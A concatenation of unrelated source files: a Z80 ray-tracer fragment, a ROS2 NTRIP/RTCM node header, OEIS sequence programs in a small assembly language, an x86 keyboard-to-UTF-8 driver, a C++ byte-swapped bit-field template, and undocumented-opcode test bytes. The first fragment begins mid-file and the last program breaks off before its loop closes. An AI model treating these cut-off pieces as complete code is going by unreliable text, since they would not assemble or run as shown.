collp: ld e,1
bitlp: push de
push bc
call trace
pop bc
inc c
pop de
rl e
rl e
jr nc,bitlp
ld a,e
srl a
or e
out ($82),a
dec c
inc c
jr nz,collp
djnz rowlp
done: jr done
SCENE:
GROUND: DEFW BALL1,GROUNDI,GROUNDL,GC
BALL1: DEFW BALL2,SPHEREI,SPHEREL,B1C,$3F33,$3E71 ; r=0.6, r*r=0.36
BALL2: DEFW 0,SPHEREI,SPHEREL,B2C,$3D9A,$3B48 ; r=0.2, r*r=0.04
POS: DEFB 3 ; 3 positions
GROUNDC:DEFW $BE33,$3F00,$0000 ; -0.3, 0.5, 0
BALL1C: DEFW $BF33,$BE33,$4180 ; -0.6, -0.3, 3
BALL2C: DEFW $3F33,$BF33,$4100 ; 0.6, -0.6, 2
LIGHT: DEFW 0,$C000,0
INCLUDE "trace.asm"
LD IX,SCENE
CALL SCENEI
RET NC
INCLUDE "scene.asm"
INCLUDE "ground.asm"
INCLUDE "sphere.asm"
INCLUDE "hitray.asm"
; floating point constants
MINF: EQU $0000 ; Positive epsilon, 2^-64 5.421e-20
MAXF: EQU $7FFF ; Maximal floating point number 2^64-2^55 1.841e+19
ONEF: EQU $4000 ; One 1.000e+00
ROOT2F: EQU $406A ; Square root of 2 1.414e+00
F7F: EQU $46FC ; $7F i.e. 127 1.270e+02
; Subroutines
INCLUDE "../fdivmul.asm"
INCLUDE "../faddsub-fast.asm"
INCLUDE "../fsquare.asm"
INCLUDE "../mul8bit.asm"
INCLUDE "../fint64.asm"
INCLUDE "../dot.asm"
; Lookup tables
INCLUDE "../addtab.asm"
INCLUDE "../subtab.asm"
INCLUDE "../multab.asm"
INCLUDE "../divtab.asm"
INCLUDE "../squaretab.asm"
; Variables
INCLUDE "variables.asm"
end scan
|
#pragma once
#include <atomic>
#include <thread>
#include "ntripclient.hpp"
#include "rclcpp/rclcpp.hpp"
#include "rclcpp_lifecycle/lifecycle_node.hpp"
#include "rclcpp_lifecycle/lifecycle_publisher.hpp"
#include "rtcm_msgs/msg/rtk_rtcm.hpp"
/**
* ROS2 Node intetface for rtmc correction data
* TODO: External config
**/
namespace rtcm
{
class RtcmNode : public rclcpp_lifecycle::LifecycleNode, public ntrip::NtripCallback
{
public:
/**
* Constructor
*/
explicit RtcmNode(const rclcpp::NodeOptions& options);
/**
* Desctuctor
**/
virtual ~RtcmNode();
/*Lifecylce Nodes declarations*/
rclcpp_lifecycle::node_interfaces::LifecycleNodeInterface::CallbackReturn on_configure(
const rclcpp_lifecycle::State&) override;
rclcpp_lifecycle::node_interfaces::LifecycleNodeInterface::CallbackReturn on_activate(
const rclcpp_lifecycle::State&) override;
rclcpp_lifecycle::node_interfaces::LifecycleNodeInterface::CallbackReturn on_deactivate(
const rclcpp_lifecycle::State&) override;
rclcpp_lifecycle::node_interfaces::LifecycleNodeInterface::CallbackReturn on_cleanup(
const rclcpp_lifecycle::State&) override;
rclcpp_lifecycle::node_interfaces::LifecycleNodeInterface::CallbackReturn on_shutdown(
const rclcpp_lifecycle::State& state) override;
void data_received(std::vector<uint8_t> data) override;
private:
ntrip::NtripClient* m_ntrip = nullptr;
std::string m_node_name = "";
rclcpp_lifecycle::LifecyclePublisher<rtcm_msgs::msg::RtkRTCM>::SharedPtr m_publisher;
const uint16_t HEADER_SIZE = 3;
const uint16_t CRC_SIZE = 3;
const uint16_t OVERHEAD_SIZE = HEADER_SIZE + CRC_SIZE;
const uint8_t FRAME_START = 0xd3;
rclcpp::Parameter m_host;
rclcpp::Parameter m_port;
rclcpp::Parameter m_mountpoint;
rclcpp::Parameter m_user;
rclcpp::Parameter m_password;
};
} // namespace rtcm
|
; A092167: Let M = 2 X 2 matrix [ 1 2 / 5 4 ]; a(n) = (2,2) entry of M^n.
; 4,26,154,926,5554,33326,199954,1199726,7198354,43190126,259140754,1554844526,9329067154,55974402926,335846417554,2015078505326,12090471031954,72542826191726,435256957150354,2611541742902126
mov $1,7
mov $2,6
mov $3,1
add $3,$0
pow $2,$3
add $2,8
div $2,2
add $1,$2
mov $3,$1
mul $3,2
div $3,7
sub $1,$3
sub $1,10
mul $1,2
add $1,4
|
;; $Header:
;;
;; Keycode->UTF-8 english keyboard cell
;; By EKS - Dave Poirier (instinc@users.sourceforge.net)
;; Distributed under the BSD License
;;
;; This cell provides a kbd.set_unicode_client function and uses originally the
;; 'dragon' cell's kbd.set_keycode_client function to receives notification of
;; keycodes coming in.
;;
;; The unicode client hooked to this cell will be called with the following
;; paramters:
;;
;; AL = UTF-8 byte
;; EBX = modifiers
;; bit 0: left shift
;; bit 1: right shift
;; bit 2: capslock
;; bit 3: left alt
;; bit 4: right alt
;; bit 5: left ctrl
;; bit 6: right ctrl
;; bit 7: numlock
;;
;; If a unicode value longer than 1 character needs to be sent, successive
;; calls will be made to the client will be made.
;;
;; Initialization specifics:
;;--------------------------
;; Make sure that the 'dragon' cell or a compatible cell is loaded in memory
;; prior to loading this cell.
section .text
%define mod_lshift 0x01
%define mod_rshift 0x02
%define mod_lalt 0x04
%define mod_ralt 0x08
%define mod_lctrl 0x10
%define mod_rctrl 0x20
%define mod_capslock 0x40
%define mod_numlock 0x80
section .c_info
dd 1,0,0,"a"
dd str_title
dd str_author
dd str_copyrights
str_title:
db "English Dragon",0
str_author:
db "eks",0
str_copyrights:
db "BSD Licsensed",0
section .c_init
push esi
mov esi, _keycode_client
externfunc kbd.set_keycode_client
pop esi
section .data
keyboard:
.selector: dd .keycodes
.modifiers: dd 0
.client: dd null_client
.keycodes:
db 0 ; keycode 00: nil
db 0x1B ; keycode 01: escape
db 0x80 ; keycode 02: F1 [escape sequence: ^[[11~ ]
db 0x81 ; keycode 03: F2 [escape sequence: ^[[12~ ]
db 0x82 ; keycode 04: F3 [escape sequence: ^[[13~ ]
db 0x83 ; keycode 05: F4 [escape sequence: ^[[14~ ]
db 0x84 ; keycode 06: F5 [escape sequence: ^[[15~ ]
db 0x85 ; keycode 07: F6 [escape sequence: ^[[17~ ]
db 0x86 ; keycode 08: F7 [escape sequence: ^[[18~ ]
db 0x87 ; keycode 09: F8 [escape sequence: ^[[19~ ]
db 0x88 ; keycode 0A: F9 [escape sequence: ^[[20~ ]
db 0x89 ; keycode 0B: F10 [escape sequence: ^[[21~ ]
db 0x8A ; keycode 0C: F11 [escape sequence: ^[[23~ ]
db 0x8B ; keycode 0D: F12 [escape sequence: ^[[24~ ]
db 0x60 ; keycode 0E: `
db 0x31 ; keycode 0F: 1
db 0x32 ; keycode 10: 2
db 0x33 ; keycode 11: 3
db 0x34 ; keycode 12: 4
db 0x35 ; keycode 13: 5
db 0x36 ; keycode 14: 6
db 0x37 ; keycode 15: 7
db 0x38 ; keycode 16: 8
db 0x39 ; keycode 17: 9
db 0x30 ; keycode 18: 0
db 0x2D ; keycode 19: -
db 0x3D ; keycode 1A: =
db 0x08 ; keycode 1B: BackSpace
db 0x09 ; keycode 1C: HorizontalTab
db 0x71 ; keycode 1D: q
db 0x77 ; keycode 1E: w
db 0x65 ; keycode 1F: e
db 0x72 ; keycode 20: r
db 0x74 ; keycode 21: t
db 0x79 ; keycode 22: y
db 0x75 ; keycode 23: u
db 0x69 ; keycode 24: i
db 0x6F ; keycode 25: o
db 0x70 ; keycode 26: p
db 0x5B ; keycode 27: [
db 0x5D ; keycode 28: ]
db 0x5C ; keycode 29: \
db 0xE6 ; keycode 2A: CapsLock [modifier]
db 0x61 ; keycode 2B: a
db 0x73 ; keycode 2C: s
db 0x64 ; keycode 2D: d
db 0x66 ; keycode 2E: f
db 0x67 ; keycode 2F: g
db 0x68 ; keycode 30: h
db 0x6A ; keycode 31: j
db 0x6B ; keycode 32: k
db 0x6C ; keycode 33: l
db 0x3B ; keycode 34: ;
db 0x27 ; keycode 35: '
db 0x0A ; keycode 36: Enter (LineFeed)
db 0xE0 ; keycode 37: LeftShift [modifier]
db 0x7A ; keycode 38: z
db 0x78 ; keycode 39: x
db 0x63 ; keycode 3A: c
db 0x76 ; keycode 3B: v
db 0x62 ; keycode 3C: b
db 0x6E ; keycode 3D: n
db 0x6D ; keycode 3E: m
db 0x2C ; keycode 3F: ,
db 0x2E ; keycode 40: .
db 0x2F ; keycode 41: /
db 0xE1 ; keycode 42: RightShift [modifier]
db 0xE4 ; keycode 43: LeftCTRL [modifier]
db 0x8C ; keycode 44: Left 'System' key [escape sequence: ^[[3S ]
db 0xE2 ; keycode 45: LeftALT [modifier]
db 0x20 ; keycode 46: Space
db 0xE3 ; keycode 47: RightALT [modifier]
db 0x8D ; keycode 48: 'Menu' key [escape sequence: ^[[4S ]
db 0x8E ; keycode 49: Right 'System' key [escape sequence: ^[[5S ]
db 0xE5 ; keycode 4A: RightCTRL [modifier]
db 0 ; keycode 4B: unassigned
db 0 ; keycode 4C: unassigned
db 0 ; keycode 4D: unassigned
db 0 ; keycode 4E: unassigned
db 0 ; keycode 4F: unassigned
db 0 ; keycode 50: unassigned
db 0xE7 ; keycode 51: NumLock [modifier]
db 0xD5 ; keycode 52: Keypad / :: ^[Oo
db 0xD0 ; keycode 53: keypad * :: ^[Oj
db 0xD3 ; keycode 54: keypad - :: ^[Om
db 0xDD ; keycode 55: keypad 7 :: ^[Ow
db 0xDE ; keycode 56: keypad 8 :: ^[Ox
db 0xDF ; keycode 57: keypad 9 :: ^[Oy
db 0xDA ; keycode 58: keypad 4 :: ^[Ot
db 0xDB ; keycode 59: keypad 5 :: ^[Ou
db 0xDC ; keycode 5A: keypad 6 :: ^[Ov
db 0xD1 ; keycode 5B: keypad + :: ^[Ok
db 0xD7 ; keycode 5C: keypad 1 :: ^[Oq
db 0xD8 ; keycode 5D: keypad 2 :: ^[Or
db 0xD9 ; keycode 5E: keypad 3 :: ^[Os
db 0xD6 ; keycode 5F: keypad 0 :: ^[Op
db 0xD4 ; keycode 60: keypad . :: ^[On
db 0xD2 ; keycode 61: keypad Enter :: ^[OM
db 0x8F ; keycode 62: Insert [escape sequence: ^[[2~ ]
db 0x90 ; keycode 63: Delete [escape sequence: ^[[3~ ]
db 0x91 ; keycode 64: Home [escape sequence: ^[[4~ ]
db 0x92 ; keycode 65: End [escape sequence: ^[[5~ ]
db 0x93 ; keycode 66: PageUp [escape sequence: ^[[6~ ]
db 0x94 ; keycode 67: PageDn [escape sequence: ^[[7~ ]
db 0x95 ; keycode 68: UpArrow [escape sequence: ^[[A ]
db 0x96 ; keycode 69: LeftArrow [escape sequence: ^[[D ]
db 0x97 ; keycode 6A: DownArrow [escape sequence: ^[[B ]
db 0x98 ; keycode 6B: RightArrow [escape sequence: ^[[C ]
db 0x99 ; keycode 6C: PrintScreen [escape sequence: ^[[0S ]
db 0x9A ; keycode 6D: ScrollLock [escape sequence: ^[[1S ]
db 0x9B ; keycode 6E: Pause [escape sequence: ^[[2S ]
.keycode_size equ $- .keycodes
.shift:
db 0 ; keycode 00: nil
db 0x1B ; keycode 01: escape
db 0x8A ; keycode 02: F11 [escape sequence: ^[[23~ ]
db 0x8B ; keycode 03: F12 [escape sequence: ^[[24~ ]
db 0x9C ; keycode 04: F13 [escape sequence: ^[[25~ ]
db 0x9D ; keycode 05: F14 [escape sequence: ^[[26~ ]
db 0x9E ; keycode 06: F15 [escape sequence: ^[[28~ ]
db 0x9F ; keycode 07: F16 [escape sequence: ^[[29~ ]
db 0xA0 ; keycode 08: F17 [escape sequence: ^[[31~ ]
db 0xA1 ; keycode 09: F18 [escape sequence: ^[[32~ ]
db 0xA2 ; keycode 0A: F19 [escape sequence: ^[[33~ ]
db 0xA3 ; keycode 0B: F20 [escape sequence: ^[[34~ ]
db 0xA4 ; keycode 0C: F21 [escape sequence: ^[[23$ ]
db 0xA5 ; keycode 0D: F22 [escape sequence: ^[[24$ ]
db 0x7E ; keycode 0E: ~
db 0x21 ; keycode 0F: !
db 0x40 ; keycode 10: @
db 0x23 ; keycode 11: #
db 0x24 ; keycode 12: $
db 0x25 ; keycode 13: %
db 0x5E ; keycode 14: ^
db 0x26 ; keycode 15: &
db 0x2A ; keycode 16: *
db 0x28 ; keycode 17: (
db 0x29 ; keycode 18: )
db 0x5F ; keycode 19: _
db 0x2B ; keycode 1A: +
db 0x08 ; keycode 1B: BackSpace
db 0x09 ; keycode 1C: HorizontalTab
db 0x51 ; keycode 1D: Q
db 0x57 ; keycode 1E: W
db 0x45 ; keycode 1F: E
db 0x52 ; keycode 20: R
db 0x54 ; keycode 21: T
db 0x59 ; keycode 22: Y
db 0x55 ; keycode 23: U
db 0x49 ; keycode 24: I
db 0x4F ; keycode 25: O
db 0x50 ; keycode 26: P
db 0x7B ; keycode 27: {
db 0x7D ; keycode 28: }
db 0x7C ; keycode 29: |
db 0xE6 ; keycode 2A: CapsLock [modifier]
db 0x41 ; keycode 2B: A
db 0x53 ; keycode 2C: S
db 0x44 ; keycode 2D: D
db 0x46 ; keycode 2E: F
db 0x47 ; keycode 2F: G
db 0x48 ; keycode 30: H
db 0x4A ; keycode 31: J
db 0x4B ; keycode 32: K
db 0x4C ; keycode 33: L
db 0x3A ; keycode 34: :
db 0x22 ; keycode 35: "
db 0x0A ; keycode 36: Enter (LineFeed)
db 0xE0 ; keycode 37: LeftShift [modifier]
db 0x5A ; keycode 38: Z
db 0x58 ; keycode 39: X
db 0x43 ; keycode 3A: C
db 0x56 ; keycode 3B: V
db 0x42 ; keycode 3C: B
db 0x4E ; keycode 3D: N
db 0x4D ; keycode 3E: M
db 0x3C ; keycode 3F: <
db 0x3E ; keycode 40: >
db 0x3F ; keycode 41: ?
db 0xE1 ; keycode 42: RightShift [modifier]
db 0xE4 ; keycode 43: LeftCTRL [modifier]
db 0x8C ; keycode 44: Left 'System' key [escape sequence: ^[[3S ]
db 0xE2 ; keycode 45: LeftALT [modifier]
db 0x20 ; keycode 46: Space
db 0xE3 ; keycode 47: RightALT [modifier]
db 0x8D ; keycode 48: 'Menu' key [escape sequence: ^[[4S ]
db 0x8E ; keycode 49: Right 'System' key [escape sequence: ^[[5S ]
db 0xE5 ; keycode 4A: RightCTRL [modifier]
db 0 ; keycode 4B: unassigned
db 0 ; keycode 4C: unassigned
db 0 ; keycode 4D: unassigned
db 0 ; keycode 4E: unassigned
db 0 ; keycode 4F: unassigned
db 0 ; keycode 50: unassigned
db 0xE7 ; keycode 51: NumLock [modifier]
db 0xD5 ; keycode 52: Keypad / :: ^[Oo
db 0xD0 ; keycode 53: keypad * :: ^[Oj
db 0xD3 ; keycode 54: keypad - :: ^[Om
db 0xDD ; keycode 55: keypad 7 :: ^[Ow
db 0xDE ; keycode 56: keypad 8 :: ^[Ox
db 0xDF ; keycode 57: keypad 9 :: ^[Oy
db 0xDA ; keycode 58: keypad 4 :: ^[Ot
db 0xDB ; keycode 59: keypad 5 :: ^[Ou
db 0xDC ; keycode 5A: keypad 6 :: ^[Ov
db 0xD1 ; keycode 5B: keypad + :: ^[Ok
db 0xD7 ; keycode 5C: keypad 1 :: ^[Oq
db 0xD8 ; keycode 5D: keypad 2 :: ^[Or
db 0xD9 ; keycode 5E: keypad 3 :: ^[Os
db 0xD6 ; keycode 5F: keypad 0 :: ^[Op
db 0xD4 ; keycode 60: keypad . :: ^[On
db 0xD2 ; keycode 61: keypad Enter :: ^[OM
db 0xA6 ; keycode 62: Insert [escape sequence: ^[[2$ ]
db 0xA7 ; keycode 63: Delete [escape sequence: ^[[3$ ]
db 0xA8 ; keycode 64: Home [escape sequence: ^[[7$ ]
db 0xA9 ; keycode 65: End [escape sequence: ^[[8$ ]
db 0xAA ; keycode 66: PageUp [escape sequence: ^[[5$ ]
db 0xAB ; keycode 67: PageDn [escape sequence: ^[[6$ ]
db 0xAC ; keycode 68: UpArrow [escape sequence: ^[[a ]
db 0xAD ; keycode 69: LeftArrow [escape sequence: ^[[d ]
db 0xAE ; keycode 6A: DownArrow [escape sequence: ^[[b ]
db 0xAF ; keycode 6B: RightArrow [escape sequence: ^[[c ]
db 0x99 ; keycode 6C: PrintScreen [escape sequence: ^[[0S ]
db 0x9A ; keycode 6D: ScrollLock [escape sequence: ^[[1S ]
db 0x9B ; keycode 6E: Pause [escape sequence: ^[[2S ]
;----
.numlock_off_keys:
db 0xB0 ; * -> ^[Oj
db 0xB1 ; + -> ^[Ok
db 0xBF ; Enter -> ^[OM
db 0xB2 ; - -> ^[Om
db 0xB3 ; . -> ^[On
db 0xB4 ; / -> ^[Oo
db 0xB5 ; 0 -> ^[Op
db 0xB6 ; 1 -> ^[Oq
db 0xB7 ; 2 -> ^[Or
db 0xB8 ; 3 -> ^[Os
db 0xB9 ; 4 -> ^[Ot
db 0xBA ; 5 -> ^[Ou
db 0xBB ; 6 -> ^[Ov
db 0xBC ; 7 -> ^[Ow
db 0xBD ; 8 -> ^[Ox
db 0xBE ; 9 -> ^[Oy
align 4, db 0
.escape_sequences:
dd 0x31315B1B,0x0000007E ; 80: ^[[11~
dd 0x32315B1B,0x0000007E ; 81: ^[[12~
dd 0x33315B1B,0x0000007E ; 82: ^[[13~
dd 0x34315B1B,0x0000007E ; 83: ^[[14~
dd 0x35315B1B,0x0000007E ; 84: ^[[15~
dd 0x37315B1B,0x0000007E ; 85: ^[[17~
dd 0x38315B1B,0x0000007E ; 86: ^[[18~
dd 0x39315B1B,0x0000007E ; 87: ^[[19~
dd 0x30325B1B,0x0000007E ; 88: ^[[20~
dd 0x31325B1B,0x0000007E ; 89: ^[[21~
dd 0x33325B1B,0x0000007E ; 8A: ^[[23~
dd 0x34325B1B,0x0000007E ; 8B: ^[[24~
dd 0x33305B1B,0x00000053 ; 8C: ^[[03S
dd 0x34305B1B,0x00000053 ; 8D: ^[[04S
dd 0x35305B1B,0x00000053 ; 8E: ^[[05S
dd 0x7E325B1B,0x00000000 ; 8F: ^[[2~
dd 0x7E335B1B,0x00000000 ; 90: ^[[3~
dd 0x7E345B1B,0x00000000 ; 91: ^[[4~
dd 0x7E355B1B,0x00000000 ; 92: ^[[5~
dd 0x7E365B1B,0x00000000 ; 93: ^[[6~
dd 0x7E375B1B,0x00000000 ; 94: ^[[7~
dd 0x00415B1B,0x00000000 ; 95: ^[[A
dd 0x00445B1B,0x00000000 ; 96: ^[[D
dd 0x00425B1B,0x00000000 ; 97: ^[[B
dd 0x00435B1B,0x00000000 ; 98: ^[[C
dd 0x30305B1B,0x00000053 ; 99: ^[[00S
dd 0x31305B1B,0x00000053 ; 9A: ^[[01S
dd 0x32305B1B,0x00000053 ; 9B: ^[[02S
dd 0x35325B1B,0x0000007E ; 9C: ^[[25~
dd 0x36325B1B,0x0000007E ; 9D: ^[[26~
dd 0x38325B1B,0x0000007E ; 9E: ^[[28~
dd 0x39325B1B,0x0000007E ; 9F: ^[[29~
dd 0x31335B1B,0x0000007E ; A0: ^[[31~
dd 0x32335B1B,0x0000007E ; A1: ^[[32~
dd 0x33335B1B,0x0000007E ; A2: ^[[33~
dd 0x34335B1B,0x0000007E ; A3: ^[[34~
dd 0x33325B1B,0x00000024 ; A4: ^[[23$
dd 0x34325B1B,0x00000024 ; A5: ^[[24$
dd 0x24325B1B,0x00000000 ; A6: ^[[2$
dd 0x24335B1B,0x00000000 ; A7: ^[[3$
dd 0x24375B1B,0x00000000 ; A8: ^[[7$
dd 0x24385B1B,0x00000000 ; A9: ^[[8$
dd 0x24355B1B,0x00000000 ; AA: ^[[5$
dd 0x24365B1B,0x00000000 ; AB: ^[[6$
dd 0x00615B1B,0x00000000 ; AC: ^[[a
dd 0x00645B1B,0x00000000 ; AD: ^[[d
dd 0x00625B1B,0x00000000 ; AE: ^[[b
dd 0x00635B1B,0x00000000 ; AF: ^[[c
dd 0x006A4F1B,0x00000000 ; B0: ^[Oj
dd 0x006B4F1B,0x00000000 ; B1: ^[Ok
dd 0x006D4F1B,0x00000000 ; B2: ^[Om
dd 0x006E4F1B,0x00000000 ; B3: ^[On
dd 0x006F4F1B,0x00000000 ; B4: ^[Oo
dd 0x00704F1B,0x00000000 ; B5: ^[Op
dd 0x00714F1B,0x00000000 ; B6: ^[Oq
dd 0x00724F1B,0x00000000 ; B7: ^[Or
dd 0x00734F1B,0x00000000 ; B8: ^[Os
dd 0x00744F1B,0x00000000 ; B9: ^[Ot
dd 0x00754F1B,0x00000000 ; BA: ^[Ou
dd 0x00764F1B,0x00000000 ; BB: ^[Ov
dd 0x00774F1B,0x00000000 ; BC: ^[Ow
dd 0x00784F1B,0x00000000 ; BD: ^[Ox
dd 0x00794F1B,0x00000000 ; BE: ^[Oy
dd 0x004D4F1B,0x00000000 ; BF: ^[OM
section .text
release_keycode:
neg eax
cmp eax, byte keyboard.keycode_size
mov ebx, [keyboard.selector]
jnb short .exit
mov al, byte [eax + ebx]
sub al, 0xE0
jb short .exit
push ecx
mov cl, al
mov eax, 0xFFFFFFFE
rol eax, cl
cmp cl, 6
pop ecx
jnb short .exit
mov ebx, [keyboard.modifiers]
and ebx, eax
mov eax, ebx
jmp near _keycode_client.select_keymap
.exit:
retn
_keycode_client:
test eax, eax
js short release_keycode
cmp eax, byte keyboard.keycode_size
mov ebx, [keyboard.selector]
jnb short release_keycode.exit
mov al, byte [eax + ebx]
.analyze_key:
test al, al
js short .special_make_code
mov ebx, [keyboard.modifiers]
test bl, byte mod_lalt + mod_ralt
jz short .send_single_unicode
; prefix with ^[
push eax
mov al, 0x1B
push ebx
call [keyboard.client]
pop ebx
pop eax
.send_single_unicode:
test bl, mod_lctrl + mod_rctrl
jz short .send_to_client
call convert_control
.send_to_client:
jmp [keyboard.client]
.special_make_code:
cmp al, 0xD0
jb short .escape_sequence
sub al, 0xE0
jb near .keypad_keys
; modifiers
push ecx
mov cl, al
mov eax, 1
rol eax, cl
cmp cl, 6
pop ecx
jnb short .locked_modifiers
or eax, [keyboard.modifiers]
.select_keymap:
mov ebx, keyboard.shift
test al, mod_rshift + mod_lshift
jz short .unshifted_map_test
test al, mod_capslock
jz short .map_selected
.unshifted_map:
mov ebx, keyboard.keycodes
jmp short .map_selected
.unshifted_map_test:
test al, mod_capslock
jz short .unshifted_map
.map_selected:
mov [keyboard.selector], ebx
.modifiers_update:
mov [keyboard.modifiers], eax
.exit2:
retn
.locked_modifiers:
xor eax, [keyboard.modifiers]
jmp short .modifiers_update
.escape_sequence:
test [keyboard.modifiers], byte mod_lalt + mod_ralt
jz short .send_escape_sequence
; prefix with ^[
push eax
mov ebx, [keyboard.modifiers]
mov al, 0x1B
call [keyboard.client]
pop eax
.send_escape_sequence:
sub al, 0x80
movzx eax, al
lea ebx, [keyboard.escape_sequences + eax*8]
.processing_escape_sequence:
mov al, [ebx]
test al, al
jz short .exit2
push ebx
mov ebx, [keyboard.modifiers]
test bl, mod_lctrl + mod_rctrl
jz short .send_sequence_char
cmp al, '$'
jnz short .test_for_tilt
mov al, '@'
jmp short .send_sequence_char
.test_for_tilt:
cmp al, '~'
jnz short .send_sequence_char
mov al, '$'
.send_sequence_char:
call [keyboard.client]
pop ebx
inc ebx
jmp short .processing_escape_sequence
.keypad_keys:
test byte [keyboard.modifiers], byte mod_numlock
jz short .numlock_off
test byte [keyboard.modifiers], byte mod_lshift+mod_rshift
jnz short .keypad_forced_off
.keypad_forced_on:
add al, 0xE0-(0xD6-0x30)
jmp near .analyze_key
.numlock_off:
test byte [keyboard.modifiers], byte mod_lshift+mod_rshift
jnz short .keypad_forced_on
.keypad_forced_off:
add al, 0x10
movzx eax, al
mov al, [keyboard.numlock_off_keys + eax]
jmp near .analyze_key
convert_control:
cmp al, '@'
jb short .converted
cmp al, '_'
jbe short .convert_it
cmp al, 'z'
ja short .converted
sub al, 0x20
.convert_it:
sub al, 0x40
.converted:
null_client:
retn
globalfunc kbd.set_unicode_client
;------------------------------------------------------------------------------
;>
;; Allows to set the keyboard unicode (UTF-8) client
;;
;; parameters:
;;------------
;; esi = client's address (-1 to disconnect)
;;
;; returned value:
;;----------------
;; none, always successful
;<
;------------------------------------------------------------------------------
inc esi
jnz short .set_client
mov esi, null_client + 1
.set_client:
dec esi
mov [keyboard.client], esi
retn
;------------------------------------------------------------------------------
|
; A040022: Continued fraction for sqrt(28).
; 5,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3,2,3,10,3
mov $5,$0
mov $7,2
lpb $7,1
clr $0,5
mov $0,$5
sub $7,1
add $0,$7
sub $0,1
mov $1,$0
mov $4,$0
div $0,2
add $0,$1
add $3,$0
add $4,$0
mov $0,11
div $4,2
mul $4,4
add $0,$4
sub $0,1
add $3,1
add $4,$0
sub $4,$3
mov $1,$4
mov $8,$7
lpb $8,1
mov $6,$1
sub $8,1
lpe
lpe
lpb $5,1
mov $5,0
sub $6,$1
lpe
mov $1,$6
sub $1,4
|
// Bits with wrong byte ordering
//
// Copyright 2019 Democosm
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
#pragma once
#include "bus.hh"
#include "error.hh"
#include "order.hh"
#include <cassert>
#include <inttypes.h>
template <class T>
class Stib
{
public:
Stib(Bus* bus, uint32_t addr, T mask)
{
//Assert valid arguments
assert((bus != 0) && (mask != 0));
//Initialize cache variables
_bus = bus;
_addr = addr;
_mask = mask;
//Determine shift ammount from mask
for(_shift=0; _shift<sizeof(T)*8; _shift++)
if(((_mask >> _shift) & (T)1) != 0)
break;
}
virtual ~Stib()
{
}
int Get(T& val)
{
int terr;
T buf;
//Get data using bus
_bus->Reserve();
terr = _bus->Get(_addr, (uint8_t*)&buf, sizeof(T));
_bus->Release();
//Check for error
if(terr != ERR_NONE)
{
val = 0;
return terr;
}
//Read data from buffer
val = WrongToHost(buf);
//Mask and right justify
val = (val & _mask) >> _shift;
return ERR_NONE;
}
int Set(T val)
{
int terr;
T buf;
T tval;
//Reserve bus
_bus->Reserve();
//Get data using bus
terr = _bus->Get(_addr, (uint8_t*)&buf, sizeof(T));
//Check for error
if(terr != ERR_NONE)
{
//Release bus
_bus->Release();
return terr;
}
//Read data from buffer
tval = WrongToHost(buf);
//Shift and mask in new value
tval = (tval & ~_mask) | (val << _shift);
//Write data to buffer
buf = HostToWrong(tval);
//Set data using bus
terr = _bus->Set(_addr, (uint8_t*)&buf, sizeof(T));
//Release bus
_bus->Release();
return terr;
}
private:
Bus* _bus;
uint32_t _addr;
T _mask;
uint8_t _shift;
};
//Types derived from template
typedef Stib<uint16_t> Stib16;
typedef Stib<uint32_t> Stib32;
typedef Stib<uint64_t> Stib64;
|
db 0xd1, 0xf6 ; shl Ev, 0x1
db 0xd0, 0xf6 ; shl Eb, 0x1
db 0xd9, 0xd9 ; fstp1 st1
db 0xdc, 0xd0 ; fcom2
db 0xdc, 0xd8 ; fcomp3
db 0xdd, 0xc8 ; fxch4
db 0xde, 0xd1 ; fcomp5
db 0xdf, 0xc3 ; fxch7
db 0xdf, 0xd0 ; fstp8
db 0xdf, 0xd8 ; fstp9
db 0x83, 0xe2, 0xdf ; and edx, 0xffffffdf (sign-extension)
|
; A222471: Decimal expansion of the negative of the limit of the continued fraction 1/(1-2/(2-2/(3-2/(4-... in terms of Bessel functions.
; Submitted by Christian Krause
; 1,4,3,9,7,4,9,3,2,1,8,7,0,2,3,2,8,0,5,8,9,5,7,0,6,9,5,7,4,1,1,2,2,7,4,2,5,1,5,2,7,3,3,7,6,2,2,3,8,1,1,6,1,7,5,2,8,1,4,5,3,0,7,8,8,7,7,2,3,6,1,6,8,1,6,4,3,4,5,9,6,3,8,5,0,1,9,5,1,3,1,8,5,9,7,7,0,4,8,7
mov $1,1
mov $2,1
mov $3,$0
mul $3,4
lpb $3
mul $2,$3
add $1,$2
mov $5,$3
cmp $5,0
add $3,$5
div $2,$3
add $2,$1
